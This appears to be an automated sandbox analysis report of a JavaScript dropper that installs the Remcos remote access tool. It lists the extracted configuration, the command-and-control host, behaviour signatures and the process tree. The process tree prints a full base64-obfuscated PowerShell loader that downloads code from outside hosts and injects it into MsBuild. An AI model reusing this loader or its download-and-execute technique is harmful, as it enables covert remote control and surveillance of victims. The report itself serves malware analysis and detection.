Analysis

  • max time kernel
    149s
  • max time network
    150s
  • platform
    windows11-21h2_x64
  • resource
    win11-20260130-en
  • resource tags

    arch:x64arch:x86image:win11-20260130-enlocale:en-usos:windows11-21h2-x64systemwindows
  • submitted
    28/04/2026, 07:37

General

  • Target
    Product_Sample_List.js
  • Size 40KB
  • Sample260428-jf54ksh17r
  • SHA256 6865a70ecd52fa5ab8b6f184573f93ce0bf5bd1a7e1f499842e7e494601091f7
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Extracted

Family
  • remcos

Botnet
  • svchost

C2
  • kamglobal.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-HNE8WZ

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Extracted

Family
  • remcos

Version
  • 7.1.0 Pro

Botnet
  • svchost

C2
  • kamglobal.duckdns.org:14645

Attributes
  • audio_folder

    MicRecords

  • audio_path

    ApplicationPath

  • audio_record_time

    5

  • connect_delay

    0

  • connect_interval

    1

  • copy_file

    remcos.exe

  • copy_folder

    Remcos

  • delete_file

    false

  • hide_file

    false

  • hide_keylog_file

    false

  • install_flag

    false

  • keylog_crypt

    false

  • keylog_file

    logs.dat

  • keylog_flag

    false

  • keylog_folder

    remcos

  • mouse_option

    false

  • mutex

    Rmc-HNE8WZ

  • screenshot_crypt

    false

  • screenshot_flag

    false

  • screenshot_folder

    Screenshots

  • screenshot_path

    %AppData%

  • screenshot_time

    10

  • take_screenshot_option

    false

  • take_screenshot_time

    5

Signatures

  • Family: Remcos

    Remcos is a closed-source remote control and surveillance software.

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Badlisted process makes network request 3 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

    Using powershell.exe command.

  • Adds Run key to start application 2 TTPs 1 IoCs
  • Suspicious use of SetThreadContext 1 IoCs
  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Delays execution with timeout.exe 1 IoCs
  • Kills process with taskkill 3 IoCs
  • Suspicious behavior: EnumeratesProcesses 5 IoCs
  • Suspicious use of AdjustPrivilegeToken 5 IoCs
  • Suspicious use of WriteProcessMemory 16 IoCs

Processes

  • C:\Windows\system32\wscript.exe
    wscript.exe C:\Users\Admin\AppData\Local\Temp\Product_Sample_List.js
    1⤵
      PID:2476
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      powershell "$ddsfdfdjhsdfgdgo = 'DQAKAFMAdABhAHIAdAAtAFMAbABlAGUAcAAgAC0AUwBlAGMAbwBuAGQAcwAgADMADQAKAFsATgBlAHQALgBTAGUAcgB2AGkAYwBlAFAAbwBpAG4AdABNAGEAbgBhAGcAZQByAF0AOgA6AFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAIAA9ACAAWwBOAGUAdAAuAFMAZQBjAHUAcgBpAHQAeQBQAHIAbwB0AG8AYwBvAGwAVAB5AHAAZQBdADoAOgBUAGwAcwAxADIADQAKACQAYgA2ADQAPQAnAGQAWABOAHAAYgBtAGMAZwBVADMAbAB6AGQARwBWAHQATwB5AEIAMQBjADIAbAB1AFoAeQBCAFQAZQBYAE4AMABaAFcAMAB1AFUAbQBWAG0AYgBHAFYAagBkAEcAbAB2AGIAagBzAGcAYwBIAFYAaQBiAEcAbABqAEkARwBOAHMAWQBYAE4AegBJAEYAQgBvAFkAVwA1ADAAYgAyADEASABZAFgAUgBsAGUAMwBCADEAWQBtAHgAcABZAHkAQgB6AGQARwBGADAAYQBXAE0AZwBRAFgATgB6AFoAVwAxAGkAYgBIAGsAZwBUAEcAOQBoAFoARQBGAHoAYwAyAFYAdABZAG0AeAA1AEsARwBKADUAZABHAFYAYgBYAFMAQgBtAEsAWAB0AEIAYwAzAE4AbABiAFcASgBzAGUAUwBCAGgAUABXADUAMQBiAEcAdwA3AEkARwBsAG0ASwBHAEUAOQBQAFcANQAxAGIARwB3AHAAZQAzADAAZwBjAG0AVgAwAGQAWABKAHUASQBFAEYAdwBjAEUAUgB2AGIAVwBGAHAAYgBpADUARABkAFgASgB5AFoAVwA1ADAAUgBHADkAdABZAFcAbAB1AEwAawB4AHYAWQBXAFEAbwBaAGkAawA3AGYAWAAwAD0AJwANAAoAQQBkAGQALQBUAHkAcABlACAALQBUAHkAcABlAEQAZQBmAGkAbgBpAHQAaQBvAG4AIAAoAFsAVABlAHgAdAAuAEUAbgBjAG8AZABpAG4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQAYgA2ADQAKQApACkADQAKAGYAdQBuAGMAdABpAG8AbgAgAGQAKAAkAGwAKQB7ACQAdwA9AE4AZQB3AC0ATwBiAGoAZQBjAHQAIABOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ADsAKABHAGUAdAAtAFIAYQBuAGQAbwBtACAAJABsACAALQBDAG8AdQBuAHQAIAAkAGwALgBDAG8AdQBuAHQAKQB8ACUAewB0AHIAeQB7AHIAZQB0AHUAcgBuACAAJAB3AC4ARABvAHcAbgBsAG8AYQBkAEQAYQB0AGEAKAAkAF8AKQB9AGMAYQB0AGMAaAB7AH0AfQB9AA0ACgBmAHUAbgBjAHQAaQBvAG4AIABpACgAJABhACwAJAB0ACwAJABtACwAJABwAD0AQAAoACkAKQB7ACQAeQA9AFsAUABoAGEAbgB0AG8AbQBHAGEAdABlAF0AOgA6AEwAbwBhAGQAQQBzAHMAZQBtAGIAbAB5ACgAJABhACkAOwAkAHIAPQAkAHkALgBHAGUAdABUAHkAcABlAHMAKAApAHwAPwB7ACQAXwAuAEYAdQBsAGwATgBhAG0AZQAgAC0AZQBxACAAJAB0AH0AOwAkAG4APQAkAHIALgBHAGUAdABNAGUAdABoAG8AZAAoACQAbQAsACgAWwBSAGUAZgBsAGUAYwB0AGkAbwBuAC4AQgBpAG4AZABpAG4AZwBGAGwAYQBnAHMAXQAnAFAAdQBiAGwAaQBjACwATgBvAG4AUAB1AGIAbABpAGMALABTAHQAYQB0AGkAYwAsAEkAbgBzAHQAYQBuAGMAZQAnACkAKQA7ACQAbwA9AGkAZgAoACEAJABuAC4ASQBzAFMAdABhAHQAaQBjACkAewBbAEEAYwB0AGkAdgBhAHQAbwByAF0AOgA6AEMAcgBlAGEAdABlAEkAbgBzAHQAYQBuAGMAZQAoACQAcgApAH0AOwAkAG4ALgBJAG4AdgBvAGsAZQAoACQAbwAsACQAcAApAH0ADQAKAA0ACgAkAGsAPQBAACgAKAAnAGgAdAB0AHAAcwA6AC8ALwBoAGEAcwB0AGUAYgAuAGkAbgAvAFcAWAA4AHAAWgBLAFcATABwAHUAZgBaAG4AcQBmACcAKQAsACgAJwBoAHQAdABwAHMAOgAvAC8AbQBhAGkAbABzAGgAYQByAGUALgBpAHQALwBuAGUAdwB1AGkAcwBtAGEAcgB0AC8AZABvAHcAbgBsAG8AYQBkAD8AdQBpAGQAPQBAADEALgBhAFcAcABUAFIAbQB0AEgAYQAxAEoARwBRADMATgB4AFQAagBJADUATQBHAGQAdgBhAGsAVgB3AFcAawBWAFUAYgAzAGsAeABaAG4AQgBqAGQAagBkAFcAUgAzAEIARQBOAFcAOQB2AFUAMAB4AHMAVwBHAG8AeABjAHoAZAB0AE4AMgA0ADEATQAyAFYANQBlAG0AMQB3AGIAMQBCADUAYwBuAFUAcgBiAEEAPQA9ACcAKQApAA0ACgBpAGYAKAAoACQAZwA9AGQAIAAkAGsAKQAtAGEAbgBkACgAJAB0AD0AWwBUAGUAeAB0AC4ARQBuAGMAbwBkAGkAbgBnAF0AOgA6AFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAZwApACkALQBtAGEAdABjAGgAJwA8ADwAUwBUAEEAUgBUAD4APgAoAC4AKgA/ACkAPAA8AEUATgBEAD4APgAnACkAewANAAoAIAAgACQAZwBnACAAPQAgACcAcwBlAHMAbgBlAFMAdAB1AG8AZQBkAGkASAAvAG8AbgAuAG8AaQBzAG4AZQBzAC4AZQB0AHMAYQBwAC8ALwA6AHMAZwBzAGYAZgBzAGYAcwBkACcAIAA7ACAAJABnAGcAIAA9ACAAJABnAGcALgBTAHUAYgBzAHQAcgBpAG4AZwAoADAALAAgACQAZwBnAC4ATABlAG4AZwB0AGgAIAAtACAAOAApAA0ACgAgACAAIAAgAGkAIAAoAFsAQwBvAG4AdgBlAHIAdABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAJABNAGEAdABjAGgAZQBzAFsAMQBdACkAKQAgACcAbQB5AHAAcgBvAGcAcgBhAG0ALgBIAG8AbQBlAGUAcwAnACAAJwByAHUAbgBzAHMAJwAgAEAAKAAkAGcAZwAsACAAJwAzACcALAAgACcAaQBjAGoAQQBkAGQASQAnACwAIAAnAE0AcwBiAHUAaQBsAGQAJwAsACAAJwAxACcAIAAsACAAJwB4ADgANgAnACkADQAKACAAIAAgACAARwBlAHQALQBQAHIAbwBjAGUAcwBzAHwAcwBvAHIAdAAgAEMAUABVACAALQBkAGUAcwBjAHwAcwBlAGwAZQBjAHQAIAAtAGYAaQByAHMAdAAgADUAfABmAHQAIABOAGEAbQBlACwAQwBQAFUAIAB9AA0ACgANAAoAIAAgACAAIAAgACAAIAAgACAAIAA=';$OhgjuxD = [system.Text.encoding]::Unicode.GetString([system.convert]::Frombase64string( $ddsfdfdjhsdfgdgo.replace('f#','r')));iex $OhgjuxD"; Copy-Item -Path 'C:\Users\Admin\AppData\Local\Temp\Product_Sample_List.js' -Destination 'C:\ProgramData\icjAddI.js' -Force"
      1⤵
      • Process spawned unexpected child process
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Adds Run key to start application
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:3124
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.cmdline"
        2⤵
        • Suspicious use of WriteProcessMemory
        PID:4508
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES826A.tmp" "c:\Users\Admin\AppData\Local\Temp\j31e4ktz\CSCB4BA6E80365948A58545C9B8569C67DE.TMP"
          3⤵
            PID:4084
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Start-Process cmd.exe -ArgumentList '/c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F' -WindowStyle Hidden -Wait
          2⤵
          • Command and Scripting Interpreter: PowerShell
          • Suspicious behavior: EnumeratesProcesses
          • Suspicious use of AdjustPrivilegeToken
          • Suspicious use of WriteProcessMemory
          PID:1824
          • C:\Windows\system32\cmd.exe
            "C:\Windows\system32\cmd.exe" /c taskkill /IM RegAsm.exe /F & taskkill /IM Vbc.exe /F & taskkill /IM MsBuild.exe /F
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:4488
            • C:\Windows\system32\taskkill.exe
              taskkill /IM RegAsm.exe /F
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:4784
            • C:\Windows\system32\taskkill.exe
              taskkill /IM Vbc.exe /F
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:2664
            • C:\Windows\system32\taskkill.exe
              taskkill /IM MsBuild.exe /F
              4⤵
              • Kills process with taskkill
              • Suspicious use of AdjustPrivilegeToken
              PID:5904
        • C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
          "C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe"
          2⤵
          • System Location Discovery: System Language Discovery
          PID:2940
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\wrfdse.bat" "
          2⤵
          • Suspicious use of WriteProcessMemory
          PID:4980
          • C:\Windows\system32\timeout.exe
            timeout 60
            3⤵
            • Delays execution with timeout.exe
            PID:5244

      Network

            MITRE ATT&CK Enterprise v16

            Replay Monitor

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            Downloads

            powershell.exe.log

            • Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
            • Size 2KB
            • SHA256 43244c0820ec5074e654ecd149fa744f51b2c1522e90285567713dae64b62f59
            • MD5 SHA1 SHA512 TLSH

            ModuleAnalysisCache

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\ModuleAnalysisCache
            • Size 61KB
            • SHA256 d1d8fc14707d8778da927acf9be9e9e287fc7660374eac902c10997d10f98d92
            • MD5 SHA1 SHA512 SSDEEP TLSH

            StartupProfileData-NonInteractive

            • Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
            • Size 119B
            • SHA256 0a5fb0fb3731e74b21afcc60c17c99f760aea279602bafbd0cb1480a9c6a1e99
            • MD5 SHA1 SHA512 TLSH

            RES826A.tmp

            • Path C:\Users\Admin\AppData\Local\Temp\RES826A.tmp
            • Size 1KB
            • SHA256 405872a5242c282e19ab98cf3a84aead2ca15967b29e90a911415e3afb158496
            • MD5 SHA1 SHA512 TLSH

            __PSScriptPolicyTest_vsmqqjqv.hxs.ps1

            • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_vsmqqjqv.hxs.ps1
            • Size 60B
            • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
            • MD5 SHA1 SHA512 TLSH

            j31e4ktz.dll

            • Path C:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.dll
            • Size 3KB
            • SHA256 9de8638d5a3b1bca4b6d6b18c5fee472333c4ffebe75e483250bad969ade5db1
            • MD5 SHA1 SHA512 TLSH

            wrfdse.bat

            • Path C:\Users\Admin\AppData\Local\Temp\wrfdse.bat
            • Size 232B
            • SHA256 859e1b8ca2b86c13e61b2dad6036386a2111c4aac5f7e76b3b8d870c39fa8557
            • MD5 SHA1 SHA512 TLSH

            CSCB4BA6E80365948A58545C9B8569C67DE.TMP

            • Path \??\c:\Users\Admin\AppData\Local\Temp\j31e4ktz\CSCB4BA6E80365948A58545C9B8569C67DE.TMP
            • Size 652B
            • SHA256 76956da46da605f45851ece6f0ae23ef496acd77ec1ab74b862a579f4c31f35e
            • MD5 SHA1 SHA512 TLSH

            j31e4ktz.0.cs

            • Path \??\c:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.0.cs
            • Size 185B
            • SHA256 6f73f3ed4fdcac3be47b0398f5e9f79c0e138e052f31f885e86b37e2060a00e0
            • MD5 SHA1 SHA512 TLSH

            j31e4ktz.cmdline

            • Path \??\c:\Users\Admin\AppData\Local\Temp\j31e4ktz\j31e4ktz.cmdline
            • Size 369B
            • SHA256 cc7af8790e32ca62afe879e57324f8a5e585c182ba5dbe988117fbe84e32c63c
            • MD5 SHA1 SHA512 TLSH

            memory/1824-62-0x000001FEB0C20000-0x000001FEB0C32000-memory.dmp

            memory/1824-61-0x000001FE96EE0000-0x000001FE96EEC000-memory.dmp

            memory/2476-0-0x000002A37A8C0000-0x000002A37A8CC000-memory.dmp

            memory/2476-1-0x000002A37A8C0000-0x000002A37A8CC000-memory.dmp

            memory/2940-70-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-63-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-83-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-82-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-81-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-80-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-69-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/2940-64-0x0000000000080000-0x0000000000106000-memory.dmp

            memory/3124-51-0x0000022E79E10000-0x0000022E79E54000-memory.dmp

            memory/3124-3-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

            memory/3124-28-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

            memory/3124-26-0x0000022E79CE0000-0x0000022E79CE8000-memory.dmp

            memory/3124-27-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

            memory/3124-11-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

            memory/3124-4-0x0000022E79D70000-0x0000022E79D92000-memory.dmp

            memory/3124-29-0x0000022E5FE50000-0x0000022E5FE5C000-memory.dmp

            memory/3124-2-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

            memory/3124-78-0x0000022E5FE50000-0x0000022E5FE5C000-memory.dmp

            memory/3124-31-0x0000022E79CF0000-0x0000022E79D00000-memory.dmp

            memory/3124-30-0x0000022E61720000-0x0000022E61732000-memory.dmp

            memory/4084-21-0x000001FC7F600000-0x000001FC7F60C000-memory.dmp

            memory/4508-24-0x00000272D1900000-0x00000272D190C000-memory.dmp